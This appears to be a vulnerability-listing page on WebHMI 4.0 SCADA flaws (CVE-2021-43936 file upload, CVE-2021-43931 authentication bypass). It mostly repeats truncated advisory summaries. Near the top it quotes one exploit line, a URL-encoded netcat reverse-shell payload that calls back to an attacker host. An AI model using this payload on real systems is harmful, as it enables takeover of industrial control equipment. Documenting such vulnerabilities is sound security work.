WebHMI 4.0 - Remote Code Execution Exploit

Exploit Title: WebHMI 4.0 - Remote Code Execution RCE Authenticated Exploit Author: Jeremiasz Pluta Vendor Homepage: https://webhmi.com.ua/en/ Version: WebHMI Firmware """ payload2 = """rm+/tmp/f%3bmknod+/tmp/f+p%3bcat+/tmp/f|/bin/sh+-i+2%261|nc+""" + localhost + """+""" + localport + """+/tmp/f"...

Exploit for Unrestricted Upload of File with Dangerous Type in Webhmi Webhmi_Firmware

CVE-2021-43936 CVE-2021-43936 is a critical vulnerability CV...

CVE-2021-43931

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

CVE-2021-43936

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

CVE-2021-43936

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

CVE-2021-43936

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

CVE-2021-43931

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

CVE-2021-43931

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

Code injection

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

Authentication flaw

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

CVE-2021-43931

The affected product is Distributed Data Systems WebHMI (SCADA) prior to version 4.1. The issue is a vulnerability titled Authentication Bypass by Primary Weakness (CWE-305): the authentication algorithm is sound, but the implemented mechanism can be bypassed due to a separate weakness that is pr...

CVE-2021-43931 Distributed Data Systems WebHM

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

CVE-2021-43936 Distributed Data Systems WebHM

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

CVE-2021-43936

The Distributed Data Systems WebHMI SCADA system is vulnerable to Unrestricted Upload of File with Dangerous Type (CWE-434 ) in versions prior to 4.1 . The software fails to effectively validate uploaded file types, allowing an attacker to upload or transfer dangerous files that can be automatica...

CISA Releases Security Advisory on WebHMI Vulnerabilities

CISA has released an Industrial Controls Systems ICS advisory detailing vulnerabilities in Distributed Data Systems WebHMI products. A remote attacker could exploit these vulnerabilities to take control of an affected system. CISA encourages users and administrators to review ICS advisory...

CVE-2021-43936: Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types to the WebHMI portal, that may be automatically processed within the product's environment or lead to arbitrary code execution...

CVE-2021-43931: Improper Authentication

The authentication algorithm of the WebHMI portal is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error...

Distributed Data Systems WebHMI File Upload Vulnerability

Distributed Data Systems WebHmi is a Scada system with a built-in web server from Distributed Data Systems, Ukraine. It is used for monitoring and controlling any automation system on the local network as well as over the Internet from computers and mobile devices. A file upload vulnerability...

Distributed Data Systems WebHmi Authorization Issues Vulnerability

Distributed Data Systems WebHmi is a Scada system with a built-in web server from Distributed Data Systems, Ukraine. It is used for monitoring and controlling any automation system on the local network as well as over the Internet from computers and mobile devices. Distributed Data Systems WebHmi...

Distributed Data Systems WebHmi 授权问题漏洞

Distributed Data Systems WebHmi is a Scada system with a built-in web server from Distributed Data Systems, Ukraine. It is used for monitoring and controlling any automation system on the local network as well as over the Internet from computers and mobile devices. Distributed Data Systems WebHmi...